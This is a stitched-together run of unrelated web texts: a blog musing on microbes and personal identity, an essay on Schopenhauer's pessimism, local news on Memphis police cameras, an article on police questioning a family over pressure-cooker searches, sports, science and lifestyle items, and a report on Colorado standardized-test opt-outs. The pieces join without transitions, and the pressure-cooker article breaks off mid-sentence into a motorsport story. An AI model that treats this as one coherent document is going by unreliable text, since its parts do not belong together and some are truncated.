The face that I saw in the mirror when I was 10 feels like me when I imagine my way back to that time, just as my 20 and 30 year old faces do, and my 40 and 80 year old faces will. Of course, every cell is different, lines are different, whiskers are different, hair color is different (right now, I'm transitioning to my third natural color...blonde, brown...yes, now, grey). But it's still me somehow. I think this is an awesome mystery. Everything about us changes, yet we are still us!
Or are we?!? Creepy research seems to percolate into my consciousness are fairly regular intervals concerning the influences of microbes on our poor, frail species. My first creep-out moment was coming across the periodical news releases arising from a cellular census of the human body. One National Public Radio story had this lead-in: "The human body contains 20 times more microbes than it does cells. In fact, a visitor from outer space might think the human race is just one big chain of microbe hotels." Another story puts the number at more like 10 microbe cells for every human cell, but still!! Researchers always like to point to the pleasant symbiosis that allows us to digest food, extract more energy from nutrients, and so on, but it still distresses me to think that perhaps people are just pudgy planets for a few thousand generations of microbial civilzations.
What if they do to US what we do to OUR PLANET?
What, indeed? Well, perhaps just pesky little inconveniences like infectious throat bacteria giving us Obsessive-Compulsive Disorder or bird flu giving us Parkinson's Disease! I know what you'll say...none of these things has been proven yet. On the other hand, it's not like I have to try very hard to think of examples where wimpy microbes suddenly morphed into flesh-eating plagues (although some might argue that strep throat isn't that wimpy).
But the last straw was an uber-creepy story about a fungus (!) that infects a type of ant and somehow makes the ant crawl to a particularly fungi-friendly place under a leaf on a particular side of a particular tree, latch on with its mandibles, and...DIE! Granted, an ant's brain is probably only half as complex as the brain of the average Jackass stuntman-wannabe, but STILL! Zombie ants under fungal control!
Does this remind anyone of a certain, prescient Star Trek vignette? Poor Chekov was minding his own business when a slimy parasite crawled in his ear and took over his brain. You might think that's far-fetched, but Star Trek was pretty visionary - I mean, they predicted the Bluetooth earphone!
So what if all of my cells, including a few trillion foreign, microbial invaders, parasites, and hangers-on, have all died and regenerated their way through a few thousand generations? So what if - physically - the me who's typing this won't exist on a cellular level, and is mostly not "me" at all? Why should that be a problem?
To me the amazing thing is that it ISN'T a problem. Here I am, semi-panicked, yet highly fascinated by the thought of billions of little bacterial buddies bouncing around in my fingertips as I type, trying to imagine the collective annoyance that my microbial amigos will feel when I die ('Crap!' they'll grouse, 'now who can we live in?').
But it's still me. Our brains (at least the human part of our brains) just can't seem to help themselves when it comes to weaving together the moments of our lives into a consistent narrative. In my research, I refer to this as the comprehension, sense-making function of meaning in life. It is a fundamental human adaptation. We exist, we bring in sensory information by the boatload, and we assort it all into one mostly seamless movie, which we then live for decades. The heart of my research and practice is trying to make this process intentional, and work toward out flourishing rather than our deterioration. We get to shape our stories as we live. Take a moment to reacquaint yourself with the values you want to drive your life, and work them into your story at every opportunity.
It's a practice I will continue to strive for every day.
At least until the zombie fungus takes over my brain!
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Lego sculpture by Nathan Sawaya
© 2009 Michael F. Steger. All Rights Reserved.A new series from the TLS, appraising the works and legacies of the great thinkers and philosophers
With its stunning advances in science and technology, the nineteenth century was a century of optimism. Hegel’s presentation of the history of the West as a Bildungsroman, a story of the ever-increasing realization of “reason” in human affairs, captured the spirit of the times. Schopenhauer, however – the only major philosopher to declare himself a pessimist – regarded Hegel’s story as a heartless fiction. Progress, he held, is a delusion: life was, is, and always will be, suffering: “the ceaseless efforts to banish suffering achieve nothing but a change in its form”. Far, then, from being the creation of a benevolent God, or of his surrogate, Hegelian “reason”, the world is something that “ought not to exist”.
Born in Danzig (Gdansk) in 1788, Arthur Schopenhauer was brought up in Hamburg, the son of a cosmopolitan businessman and a literary mother. Independently wealthy, he never held a paid academic post, and had indeed nothing but scorn for those who live “from rather than for philosophy”, namely, “the professors of philosophy”. Independence of means, Schopenhauer insisted, is a prerequisite of independence of thought. Accompanied by a succession of poodles – he never married – he spent the last twenty-seven years of his life in Frankfurt. On the wall of his study he had a portrait of Kant and, on his desk, a statue of the Buddha. For pleasure, he read The Times of London, played the flute, and attended the Frankfurt opera. Unknown until his final decade, he died in 1860, the most famous philosopher in Europe.
Schopenhauer wrote only one work of systematic philosophy, The World as Will and Representation, which he published in 1818. It is divided into four “books”. In 1844 he produced a second edition consisting of the 1818 volume plus a second volume comprising four “supplements” to the four books of the first. This doubled the overall length of the work to 1,000 pages. Given the opacity of most German philosophical writing, the “English clarity” of the work (Schopenhauer was educated for a time in Wimbledon), its wealth of concrete examples and its wit makes reading it a unique pleasure.
The starting point for all nineteenth-century German philosophers is the towering figure of Kant. The first sentence of Book One of Schopenhauer’s 1818 volume (“the main work”) is: “The World is my representation”. This is intended as a summation of Kant’s “transcendental idealism” according to which the world of space and time is not the “thing in itself” but rather mere “appearance”. From a metaphysical point of view, the natural world is, as Schopenhauer puts it, merely a “dream”.
Since transcendental idealism relegates the quotidian world to the realm of appearance, its truth – a given for Schopenhauer and his contemporaries – raises the exciting question of how reality really is: how it is “in itself”. Kant’s frustrating answer is that we can never know. Since space, time, causal connectedness and substantiality (thingness) are the “forms” of the mind that shape all our experience, and since we can never step outside our own minds, reality in itself can never be known. Together with his fellow “German idealists” Schopenhauer took this claim as a challenge rather than a dogma. And although, in his maturity, he finally endorses it, he holds that progress can, nonetheless, be made in digging beneath the manifest surface of things. Although philosophy cannot access the deepest truth about reality, he finally accepts, it can at least provide a deeper account than that provided either by common sense or by natural science.
According to this account, as Book Two of the main work tells us, the world which appears “as representation” is to be understood, at a deeper level, “as will”. This is something disclosed to us, in the first instance, by the consciousness we have of our own bodily actions. In external perception we are aware of, say, the appearance of an apple followed by the appearance of a hand reaching towards it. Were this to be our only mode of consciousness, the connection between the first and second perception would be utterly mysterious. But of course it is not our only mode. The sequence of events is intelligible to us because inner experience reveals that the reason the second perception follows the first is the desire to eat. Introspection tells us that what generates our actions is will – feelings, emotions and desires that culminate in decisions, “acts of will”. Will explains human behaviour and the behaviour of the animals as well. Even on the so-called inorganic level we find will at work: in, for instance, the conflict between centripetal and centrifugal forces we find something similar to the conflict between one human will and another.
Schopenhauer’s discovery that the underlying “essence” of life is will is not a happy one. For, as the second of the Buddha’s “Four Noble Truths” tells us, to will is to suffer. What follows, as the first of the “Truths” tells us, is that life is suffering, from which Schopenhauer concludes that “it would be better for us not to exist”. He offers two main arguments in support of the claim that to will is (mostly) to suffer, the first of which I shall call the “competition argument” and the second the “stress-or-boredom argument”.
The world in which the will – first and foremost the “will to life” – must seek to satisfy itself, the competition argument observes, is a world of struggle, of “war, all against all” in which only the victor survives. On pain of extinction, the hawk must feed on the sparrow and the sparrow on the worm. The will to life in one individual has no option but to destroy the will to life in another. Fifty years before Darwin, Schopenhauer observes that nature’s economy is conserved through overpopulation: it produces enough antelopes to perpetuate the species but also a surplus to feed the lions. It follows that fear, pain and death are not isolated malfunctions of a generally benevolent order, but are inseparable from the means by which the natural ecosystem preserves itself.
It is true that with respect to the human species, civilization has somewhat ameliorated the red-in-tooth-and-claw savagery of nature. Yet, in essence, human society, too, is an arena of competition. If one political party gains power another loses it, if one individual gains wealth another is cast into poverty. As the Romans knew, homo homini lupus, man is a wolf to man: “the chief source of the most serious evils affecting man is man”.
With his “stress-or-boredom” argument, Schopenhauer turns from social life to individual psychology. To live, we know, is to will. Now either one’s will is satisfied or it is not. If it is unsatisfied one suffers. If the will to eat is unsatisfied one suffers the pain of hunger; if the libidinal will is unsatisfied one suffers the pain of sexual frustration. If, on the other hand, the will is satisfied then – after, at best, a moment of fleeting pleasure or joy – we are overcome by a “fearful emptiness and boredom”. This is particularly visible in the case of sex: as the Romans again knew, post coitum omne animalium triste est: everyone suffers from post-coital tristesse. Hence, life “swings like a pendulum” between two forms of suffering, lack and boredom.
Book Three of the main work offers a detailed and comprehensive philosophy of art. Its importance for Schopenhauer’s overall argument lies in its view of art as a brief intimation of the “salvation” that is the topic of Book Four. Life is suffering. Everyday human consciousness is permeated by both present suffering and anxiety about future suffering. But in aesthetic consciousness we are, as we indeed say, “taken out of ourselves”. Captivated by the play of moonlight on gently rippling waves or by a great piece of music, we forget our ordinary will-full selves and hence the pain and anxiety inseparable from ordinary consciousness. For a moment we achieve that “bliss and peace of mind always sought but always escaping us on the path of willing”. Briefly, we inhabit the “painless state prized by Epicurus as the highest good and the state of the gods”. And from this experience we can infer “how blessed must the life of a man in whom the will is silenced, not for a brief moment, as in enjoyment of the beautiful, but for ever”.
But of course, since to live is to will, the will can never be entirely silenced in the “life of a man”. While the ascetic and the thinker may have some success in transferring themselves from the vita activa to the vita contemplativa, as long as one is alive one can never entirely escape the will. Only in death can the will be silenced “for ever”. And so, Book Four tells us, only in death can we achieve final release, “salvation”.
But why should we regard death as salvation? Is it not absolute extinction, an abyss of nothingness to which one might well prefer, for all its pain, life as a human being? One antidote to fear of death is transcendental idealism. Death is something that happens to the self that exists within the “dream” of natural life. But since the dreamer of a dream must be outside the dream, idealism assures us of the “indestructibility of our inner nature by death”. Depending on circumstances, however, indestructibility could turn out to be a curse rather than a blessing. Why should we regard it as the latter?
One of Schopenhauer’s criticisms of Kant is that he often speaks of “things in themselves”. Such pluralistic talk, says Schopenhauer, is entirely unwarranted because it is only space and time that provide us with a principium individuationis: only because we can identify two entities as inhabiting different regions of space-time can we speak of them as two, as distinct individuals. But according to transcendental idealism, space and time pertain merely to “appearances”, so it follows from Kant’s own position that reality “in itself” is “beyond plurality”.
Willing, however, requires plurality. At the very least, it requires a distinction between the subject of willing and its object. Hence to be beyond plurality is to be beyond willing, and so to be released from the anxiety inherent in all will-full consciousness. In the realm of the non-plural, one inhabits permanently Epicurus’ “highest good”, his “state of the gods”. This is intuitively grasped by the mystics. The “pantheistic” sense of the gathering of all things into a divine unity is the theme of all mystical experience. So, for example, Meister Eckhart’s disciple cries out in her ecstasy, “Sir, rejoice with me for I have become God”. That the mystics come from all times, cultures and religious backgrounds means that that their reports cannot be dismissed as delusional. And if we accept their veracity, we are assured that death really is salvation.
Schopenhauer’s influence on later nineteenth-century and early twentieth-century artists has been greater than that of any other philosopher: Tolstoy, Turgenev, Zola, Maupassant, Proust, Hardy, Conrad, Mann, Joyce and Beckett all admired and were influenced by his work. Subservient to the Christian doctrine of a wholly powerful, benevolent world-creator, the Western philosophical tradition has been compelled to conclude that we live in the best of all possible worlds. In Schopenhauer, the artists found a philosopher who, for the first time, revealed how far this was from the truth. The artist who engaged most deeply with Schopenhauer was Richard Wagner (himself a philosopher of genuine ability). Originally a socialist-anarchist who narrowly escaped execution for his role in the 1848 Revolution, Wagner discovered Schopenhauer in the middle of writing the Ring cycle. The result was a work that begins as an argument in favour of utopian anarchism, and ends by advocating, as Wagner wrote to a friend, “the final negation of the desire for life”. This, he wrote, is “the only salvation possible... freedom from all dreams is the only final salvation”. Wagner’s ardent disciple, the youthful Friedrich Nietzsche, dedicated his first book, The Birth of Tragedy, to Wagner and wrote it “in Schopenhauer’s spirit and to his honour”. The mature Nietzsche’s turn against Schopenhauer and towards “life-affirmation” terminated his friendship with Wagner.
Schopenhauer was, I believe, the first European Buddhist (the first translations of the Hindu and Buddhist texts began to appear as he was writing the main work). To live, he tells us, is to will, and to will is to participate in the anxious, exhausting and endless Darwinian struggle that only the fittest survive. The pleasures of achieving a goal are either fleeting or non-existent. And once achieved, we must rush on to the next goal in order to escape the ever-present threat of boredom. Life is a treadmill; the “wheel of Ixion” never stands still. But this, Schopenhauer tells us, is a game we do not have to play. We can withdraw from the life of willing into a life of contemplation – “mindfulness”, in current jargon – a withdrawal which, for the enlightened, will complete itself in easeful death. At its deepest level, says Schopenhauer, his philosophy, like Socrates’, is a “preparation for death”.
Julian Young is the William R. Kenan Jr. Professor of Humanities at Wake Forest University.Please enable Javascript to watch this video
MEMPHIS, Tenn. --Crime-ridden neighborhoods are getting some help thanks to some new SkyCop cameras.
Only WREG has new information about the program designed to keep you and your family safe.
The Memphis City Council agreed to buy 70 SkyCop cameras and divide them among each district last year. Memphis Police spent months studying data to figure out where to put them.
"This is the most dangerous grid of neighborhoods in the city," said Councilman Phillip Spinosa.
Spinosa brought the idea to the council. He said only neighborhoods would get them and the locations would be dictated by data.
It cost around $400,000.
"We have to make sure we put the cameras in the right places," said MPD Director Michael Rallings.
Police said over the last year, they studied crime trends in every district and found the neighborhoods with the most violence and property crime. We're talking burglaries, shootings, auto theft and even murders.
"This was months of work. We just didn't run the data one work. We tried to get a true comparison, and we will run it again to see if its true," said Major Lambert Ross.
Police then created a barrier with the cameras around the selected neighborhoods.
Rallings said that way it's easier to catch criminals coming in and out.
Each camera is monitored in the Real Time Crime Center twenty four hours a day.
"These cameras work. Neighbors know they work," said Mayor Jim Strickland.
He said some neighborhoods have raised their own money to get SkyCop cameras, but most can't foot the bill.
"Most neighborhoods in Memphis cannot afford to buy their own cameras, so lets put it in our budget," said Strickland.
The city council already signed off to do the same thing next year.
MPD is already looking where to put another 70 cameras.
"This is the council, the mayor, the administration and the police director trying to find a way to leverage technology to help our officers, our boots on the ground, to be more efficient," said Spinosa.
More information about the Sentinel Camera Project
Your neighborhood can also apply for grant money to help combat crime. More detailsGoogle searches bring visit by joint terrorism task force in Long Island
By Fred Mazelis
3 August 2013
On Wednesday, Suffolk County police, working with a joint terrorism task force, showed up at a suburban home in New York State looking for terrorist connections. The visit was prompted by Internet searches conducted by members of the family using terms that included “backpacks” and “pressure cookers.”
Michele Catalano, who was at work and whose husband notified her by telephone of the visit by six plainclothes police officers, described the events in a blog post the following day. She speculated that the visit was provoked by various Google searches in recent weeks, she looking for a new pressure cooker, her husband for a backpack, and her son for background information on the April 15 Boston Marathon bombings.
Two pressure cooker bombs exploded near the finish line of the race, killing three people and wounding 264 others. The bombs were allegedly left by the perpetrators in backpacks they had been carrying.
The visit by the police, coming in the midst of almost daily revelations of the immense scope of illegal government spying, led Catalano to conclude that the National Security Agency (NSA) and other government agencies were poised to act on detailed knowledge of anyone’s computer searches. She described the events on her blog post:
“At about 9:00 am, my husband, who happened to be home yesterday, was sitting in the living room with our two dogs when he heard a couple of cars pull up outside. He looked out the window and saw three black SUVs in front of our house… Six gentlemen in casual clothes emerged from the vehicles and spread out as they walked toward the house, two toward the backyard on one side, two on the other side, two toward the front door…
“They asked if they could search the house, though it turned out to be just a cursory search… they were peppering my husband with questions. Where is he from? Where are his parents from? They asked about me, where was I, where do I work, where do my parents live. Do you have any bombs, they asked? Do you own a pressure cooker? My husband said no, but we have a rice cooker. Can you make a bomb with that? My husband said no, my wife uses it to make quinoa. What the hell is quinoa, they asked…
“ Have you ever looked up how to make a pressure cooker bomb? My husband, ever the oppositional kind, asked them if they themselves weren’t curious as to how a pressure cooker bomb works, if |
FIA ruleset will mean changes for all three brands involved at the highest level of cross-country rallying, provided they continue their participation.
Peugeot dominated the two most recent editions of the Dakar with its rear-wheel drive buggy, which uses a turbocharged diesel engine – as does X-Raid's 4WD Mini John Cooper Works machine.
Toyota, meanwhile, has recently competed with a normally-aspirated petrol engine in its four-wheel drive Hilux, but has also been developing a two-wheel drive 'Evo' version of the car.
“This way there will be a performance balance that's easier to manage for all,” said Toyota Overdrive team manager Jean Marc Fortin.
“The project is an FIA [cross-country] world championship, after several years as a 'world cup', to begin in 2018. The priority drivers will only be able to drive 4WD cars. The 2WD buggies will still be competing, although they will have to have the same engine [as 4WD]."
The “priority drivers” referred to by Fortin are a specially-designated category for leading entrants, who qualify either based on standout world championship results or are given the status by the FIA.
Fortin continued: "It will be 4WD cars with petrol engines. Cross-country was the only confusing FIA category in terms of regulations. These decisions, with which we all agree on without exception, should simplify the situation.
“We have all agreed and the FIA, fortunately, is happy that we have been able to make a decision that pleases us all. Therefore we have their blessing.”
The Peugeot question mark
The switch in regulations raises questions over Peugeot's continued involvement in cross-country rallying, as the French marque has devoted considerable resources into developing its two-wheel turbo diesel-engined challenger and turning it into a world-beater.
According to the rival Toyota camp, the rear-wheel drive of the 2017-spec 3008DKR, combined with the turbocharged diesel power unit, created a major advantage for Peugeot in the most recent edition of the Dakar Rally, especially at high altitude.
While Peugeot has yet to announce its programme for the 2018 Dakar, drivers Stephane Peterhansel and Sebastien Loeb both dropped strong hints they would be back – the former stressing that the 2018 race would be of particular importance, as the Dakar will be celebrating its 40-year-anniversary.
However, as the rally-raid rule change will likely follow right after Dakar 2018 – in time for the start of that year's FIA Cross-Country Rally World Cup – Peugeot's future in the category is unclear for the seasons after.
When talking to Motorsport.com during the 2017 Dakar, Peugeot CEO Jean-Philippe Imparato said of his brand's continued involvement in the Dakar race: “When we decide one operation, we decide this operation for the next three years, medium-term plan.
"You cannot build this type of team, this type of technical skills, if you don't have a three-years plan as a minimum.
“But every year we reconsider our operation - we must have, first, a result; we must have as well a return on investment, so we will calculate our return on investment within two or three months.
"Because, as you know, all the budget that we invest in the operation is made and coming from the cars we sell in other countries."
He added: “At this point, I don't have any risk or doubt over the immediate future of this programme.”Former Penn State kicker Sam Ficken earned a tryout with the Jacksonville Jaguars back in June, and on Monday afternoon the team announced that he has signed and been added to the roster.
The #Jaguars have signed former @PennStateFball kicker Sam Ficken, bringing the team's roster to 90 players. pic.twitter.com/MiU273lIcX — Jacksonville Jaguars (@Jaguars) July 25, 2016
Ficken will compete with incumbent Jason Myers, a second-year pro out of Marist in preseason camp. Myers was 26 of 30 on field goals last season, but missed seven extra points.
Ficken joins a trio of former Nittany Lions on the roster in Jacksonville. Wide receiver Allen Robinson was a Pro Bowler for the Jags last season, linebacker Paul Posluszny was the team’s leading tackler and defensive lineman Jared Odrick had 5.5 sacks in his first season with the team.
After a rocky start to his Penn State career, Ficken finished second in school history in career field goals (54) and first in season field goals (24 in 2014) and had game-winning kicks against Wisconsin, Central Florida and iced a Pinstripe Bowl win over Boston College in his final collegiate game.
Ficken attended minicamp for the Kansas City Chiefs last summer but was not signed. He continued working out and working an office job in State College. He was at Penn State’s Pro Day in March and worked out this spring with kicking coach Gary Zauner in Arizona.Previous studies have shown vinegar could affect bacteria in the gut responsible for inflammation in ulcerative colitis. Photo by Natalia Livingston/Shutterstock
WASHINGTON, Feb. 10 (UPI) -- Vinegar suppressed inflammation-inducing proteins linked to ulcerative colitis and improved gut bacteria in the gut, easing the condition in a study with mice.
Researchers in China report that vinegar altered the population of bacteria in the gut microbiome, leading to reduced ulcerative colitis symptoms in the rodents.
Ulcerative colitis is a chronic form of inflammatory bowel disease causing inflammation and ulcers in the digestive tract, large intestine and rectum.
Previous studies have shown the microbiome is involved with the inflammation, and vinegar has been thought to have some effect on the condition, which researchers said in a press release led them to test its effects in an animal model.
For the study, published in the Journal of Agricultural and Food Chemistry, researchers tested vinegar, as well as its main ingredient, acetic acid, in mice with ulcerative colitis by adding small amounts of either substance to their water.
Both vinegar and acetic acid lowered levels of proteins that promote inflammation in the gut and reduced the animals' symptoms, researchers said. Stool samples from rats who received the substances also showed higher levels of bacteria such as Lactobacillus, Bifidobacteria, and Enterococcus faecalis, which are beneficial to mice with colitis symptoms, and lower levels inflammation-causing bacteria such as E. coli.
A further understanding of how vinegar works in the gut is necessary, but researchers said the study suggests a dietary strategy to reduce or prevent ulcerative colitis in patients.Get the biggest daily stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email
THE scientists who cloned Dolly the sheep are trying to create copies of Scotland’s giant pandas.
Tian Tian and Yang Guang are living at Edinburgh Zoo but no cubs have been born to the pair despite zookeepers’ assistance.
Now a team of experts, including the embryologist who helped create Dolly, are involved in research that paves the way for the animals to be cloned.
They took tissue samples from the pandas’ mouths and, for the first time, were able to isolate the “building-block” cells which are the first stage of the cloning process.
The discovery and pioneering research may one day help to revive giant panda numbers and save the endangered animals from extinction.
Dr Bill Ritchie, director of Roslin Embryology, was part of the team who created Dolly, the world’s first successfully cloned mammal, in 1996, and is involved in the panda project.
He said: “This is a step in bringing back an endangered species or helping to preserve them.”
Tian Tian and Yang Guang, also known as Sunshine and Sweetie, are the only giant pandas in the UK. There have been high hopes that the pair will produce babies since their arrival on a decade-long loan from China in 2011.
But female pandas are only fertile once a year and so far attempts to encourage them to mate have failed.
This year, Tian Tian was artificially inseminated but lost the cub during pregnancy.
The researchers at Roslin Embryology are part of a team who also include the Royal Zoological Society of Scotland, Durham University’s school of biological and biomedical sciences and the China Conservation and Research Centre for the Giant Panda.
Dolly caused a sensation when her arrival was announced to the public in 1997. She died in 2003, aged six.
Since the breakthrough, several other species have been cloned, including mice, cows and goats. Now the method is being considered to help preserve species that are at risk of extinction.
Edinburgh Zoo have seen their annual income rocket to nearly £15million since Tian Tian and Yang Guang arrived in Scotland four years ago.Why do people hate kids? And why is that hatred socially acceptable?
OK, maybe hatred is an overstatement. But I've been stumped lately by the vitriol against children, particularly young ones who make noise or messes, and particularly by people online.
(But isn't everyone meaner while hiding behind a screen?)
People complain that you take your antsy, Cheerio-eating children to church, or restaurants, where they might ruin the ambiance for those around them. Thank God I haven't yet had to take them on a plane. That seems to rile up anti-kid people like nothing else.
Because if you have children, you should obviously be confined to kiddie spots like Chuck E. Cheese.
Sure. Entirely logical. Because I've never had a meal spoiled by a loud-talking drunken grown-up.
I get that maybe if you're proudly childfree, you can feel like the world is overwhelmed with families, with "breeders," as they say.
Maybe kids are like dogs. When you own a dog, you love your dog, and generally assume all other people love dogs, that they totally think yours is adorable and want to pet him and don't care that he's running wild all over the park.
Parents think their kids are hilarious and clever and so post cute pictures of them on Facebook, spurring the ire of friends who don't care that it's the first day of school.
There's a blog -- and a book -- called STFU Parents that delights in mocking parents who overshare on social media.
But at least that's funny.
Unlike this post from the blog ChildFree Voices.
"There's good reason to hate what children represent, or, more to the point, hate parents. People who breed are selfish. Breeding is a truly villainous act, and one that, rather than ensuring the survival of our species, now ensures our inevitable destruction. Overpopulation is the greatest threat our species has ever faced, and one that has the power to send us back to the stone-age or extinction."
Seriously? I read to the end of this column, thinking surely it must be satire, a la Jonathon Swift's "A Modest Proposal." Because, ahem, the only clear formula for extinction is to stop procreation.
Besides, I happen to think having kids is about the least selfish thing you can do.
While child-free folk spend their weeknights sipping microbrews at happy hour, my husband and I feverishly twirli to the manic dance of the dinner-cleanup-bath-books routine. While they get to go on vacation, we pay for daycare.
Yet, my kids will finance their Social Security checks and keep the economy humming. And, you know, basically ensure the survival of the human race.
Already dropping birthrates in the United States and other developed nations are threatening global economic growth. That's because a third of economic growth is attributable to more people joining the workforce.
No babies = no growth.
"For the first time since World War II, we're no longer getting a tailwind," Russ Koesterich, chief investment strategist at Blackrock, the world's largest money manager, told CBS News. "You're going to create fewer jobs.... All else equal, wage growth will be slower."
Maybe the issue is related to the fact that there are fewer kids now than in recent generations. Since kids are not so common, childfree adults interact with them less and are more able to group them into a faceless mass of misbehaving misfits.
Yet fewer kids mean parents are more able, and willing, to take them to adult venues, according to USA Today.
Automatic culture clash.
"Culturally in the U.S., the general public is encouraged to chastise parents and children for their completely understandable behavior," Trista Crass wrote in an XO Jane post called "If you hate kids you might really be a horrible human." "Parents CHOSE to have children and be in public, so we are basically asking for it."
Kid-hatred even has a formal –ism now.
Psychoanalyst Elisabeth Young-Bruehl dubbed it "childism," writing a book about prejudice against children.
I'm not sure I buy childism.
But, the thing is, prejudice is pretty un-PC these days. It's frowned upon to lump people together and hate all of them. So why is hating kids en-masse considered a hip stance?
I love this email to the New York Time's Motherlode blog.
"My children are not gremlins. They are not animals. They aren't malicious or out to ruin anyone's day. But they are people too — short people, often loud people, sometimes unreasonable people. That separates them from adults how, exactly?"
I'm really not sure.About This Content
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Welcome To The Shadow Operations UnitThe base fleet consists of 9 brand new ships, each with new handling, firing patterns and abilitiesDemonstrate your design skills and create new ships for the Shadow FleetDownload new ships created by other operatives and prove your skills by completing their missionsComplete Shadow Missions to gain promotions and gain access to more craftEach ship in the fleet has its own set of leader boardsProve you are the best of the best, get to the top of those boardsHighly focused firepower in a single tight beam.This ship is like a scalpel, it delivers a massive amount of damage,but requires speed and accuracy for that damage to be put to good use.The most powerful ship in the hanger. It can deal more damage per second than any other ship.However, this comes at a price as this ship is slow and heavy. Shoot first, move later!Fast, small and nimble. Quick reactions and good flying skill will allow you to get out of difficult situations.A very capable Auto-Aim ship with a good balance of firepower and manoeuvrability.The smallest most agile ship in the game. If you can keep it under control you'll be able to punish the bad guys with its 3 beams of fire.A large beast of a ship. Powerful engines make this ship fast, but its large mass makes it hard to change direction. High powered, but slow bullets, make an interesting combination.An Auto-Aim ship the will hoover up all the pickups on screen. Large but reasonably agile, you should be able to clock up some big scores.An Auto-Aim ship with a wide field of fire. An all-rounder good in most situations.Hazards come from all directions, so this ship fires in all directions. If positioned well, you can safely get into the thick of the action and have no fear of incoming missiles.A parent’s prying into their adult child’s choices can be one of the great stresses in life. Right now, some parents in China seem to be stretching that pressure to its new extremes.
In China, where marriage rates are quickly declining, anxious young men have found a new way to allay parents’ fears about their personal future: hire a fake partner. Reuters reports that this strategy, which is begging to be adapted into a romantic comedy, has taken off through the ease of smartphone apps. Date-finding services like Hire Me Plz have reported 700,000 users.
To explore the burgeoning trend, photographer Muyi Xiao documented one woman who posed as a girlfriend for hire and travelled to a man’s hometown village to meet his family.
Beijing-based blogger Zhao Yuqing, 24, wanted to understand the rental-girlfriend experience. So she found a client, website operator Wang Quanming, 30, and together they concocted an elaborate lie for his parents about their supposed long-distance relationship. During the lunar new year holiday earlier this year, they spent time with Wang’s family over meals, explored the village where he grew up, and watched fireworks together.
(That, says Zhao, was the extent of their fake relationship. Both had pledged to keep the arrangement strictly professional—a written contract stipulated ” no kissing, sleeping together or drinking alcohol.”)
Reuters/Muyi Xiao Zhao Yuqing and Wang Quanming (R) play with a dog at the apartment where Zhao stayed for a night in Quanzhou Fujian province, China.
But after the trip, Zhao says she felt guilty. ”At first I thought I was going to help, I convinced myself not to feel guilty, but not I’m not sure,” she said in an interview after the weekend. “I can’t solve their problem, and I have misled them.”
Wang eventually came clean to his mother, who seemed more confounded than upset. “I’m over 50. I don’t understand what these young people get up to, but I wasn’t angry,” she told Reuters.
Nevertheless, the pressure remains. “My mother’s core demand for me to marry early still exists,” said Wang.
Reuters/Muyi Xiao Zhao Yuqing uses her mobile phone at her apartment before leaving in Beijing on Jan. 25, 2017.
Reuters/Muyi Xiao Zhao rides in a car on her way to Beijing airport.
Reuters/Muyi Xiao Zhao talks to Wang Quanming on her phone after her plane lands in Quanzhou, in Fujian province on Jan 26.
Reuters/Muyi Xiao Before driving to Wang Quanming’s hometown, Zhao Yuqing writes down her conditions for posing as Wang Quanming’s girlfriend during their three-day visit with Wang’s family, in Quanzhou.
Reuters/Muyi Xiao Wang Quanming poses for a photograph near his family home where he lived until he was 15 years old, in Anxi county, Fujian province.
Reuters/Muyi Xiao Wang Quanming’s mother Nong Xiurong greets Zhao Yuqing when she arrived in Wang’s hometown.
Reuters/Muyi Xiao Zhao Yuqing (C) checks her mobile phone during a meal with Wang’s family.
Reuters/Muyi Xiao Wang’s parents pose for a photo in front of their house in Anxi.
Reuters/Muyi Xiao Zhao and Wang drink tea as Wang’s family play cards.
Reuters/Muyi Xiao Zhao Yuqing takes pictures of fireworks on the eve of Spring Festival.
Reuters/Muyi Xiao Wang Quanming takes pictures as Zhao Yuqing plays with fireworks on the eve of the Spring Festival in Anxi.
Reuters/Muyi Xiao Wang’s mother (R) gives a pack of tea to Zhao Yuqing as a gift before Zhao leaves.
Reuters/Muyi Xiao Zhao Yuqing points to a pig during a visit to a farm in Wang’s hometown.
Reuters/Muyi Xiao Zhao picks bean pods with Wang.It’s that time of year when tens of thousands of Colorado school kids are sharpening their No. 2 pencils, rolling up their sleeves and filling in multiple-choice bubbles meant to gauge how much they know.
The stakes are high around the TCAP — short for Transitional Colorado Assessment Program, the state’s temporary battery of standardized tests. Results can affect whether a student needs to take remedial classes, qualifies for a gifted and talented program, or even passes or fails. Scores are used to measure how well teachers, schools, districts and the state’s education system are doing their jobs.
It’s no wonder, then, that things get stressy from mid-March through mid-April, when each public school has a three-week window to test every student.
But this year, tensions are even higher as a movement of parents is opting kids out of the test and education officials, intent on qualifying for federal funds that hinge on results, are lashing out against the boycott.
“The Colorado Department of Education is trying to bully parents into making their kids take the TCAP, which isn’t worth the paper it’s written on,” said Sean Black, a parent and teacher from Johnstown whose decision to have his son skip the test prompted police to come knocking on his door.
Black’s son is autistic. He gets so anxious about test taking that during a set of state-mandated tests in fifth grade he mutilated both of his arms by biting his biceps. This year, Black sent a letter to the principal saying his son would be opting out. The principal, trying to be accommodating, told Black that if his son weren’t at school on the days the test was given, he wouldn’t have to take it.
But keeping his kid home wasn’t an option for Black, who teaches in Denver and whose wife works in Cheyenne. Black called the state education department, where an official told him several times that opting out violates state law CRS 22-7-409 (1.2) (d) (I) (A). Black explained his son’s condition and how his anxiety about testing puts him at risk for more self-mutilation. Within about an hour of that phone call, a police officer was dispatched to Black’s house saying he was checking on the welfare of the boy at the request of the education department.
“I was flabbergasted. Flabbergasted. I tried to mask my absolutely livid sense of injustice with laughter. But I’m pretty sure I told the sergeant that this was bullshit,” Black said. “Obviously, my son is fine. As far as I’m concerned, it was an absolute threat to intimidate me into making him take TCAP.”
Education officials won’t speak specifically about the case, but say they’re obligated to call authorities when told there’s an imminent threat of harm to a child. That’s not bullying, they add, it’s the law.
Black finds their reasoning doubly maddening.
“One, the harm to (my son) is taking the test. And, two, if they cared so much about him, why are they telling me repeatedly he has to take it?”
The family’s doctors at Children’s Hospital wrote a letter recommending that the boy not take TCAP. Ultimately, the principal allowed him to spend time in the school library instead of testing.
Language around TCAP can be touchy. Education officials are careful to refer to it as an “assessment” rather than a “test.” They tout it as a multi-purpose tool to at once measure the performance of teachers, schools and their districts, and to gauge how students are faring at their grade level, how well they’ll perform on the ACT and SAT and, to some extent, whether they’re prepared for college or the workplace.
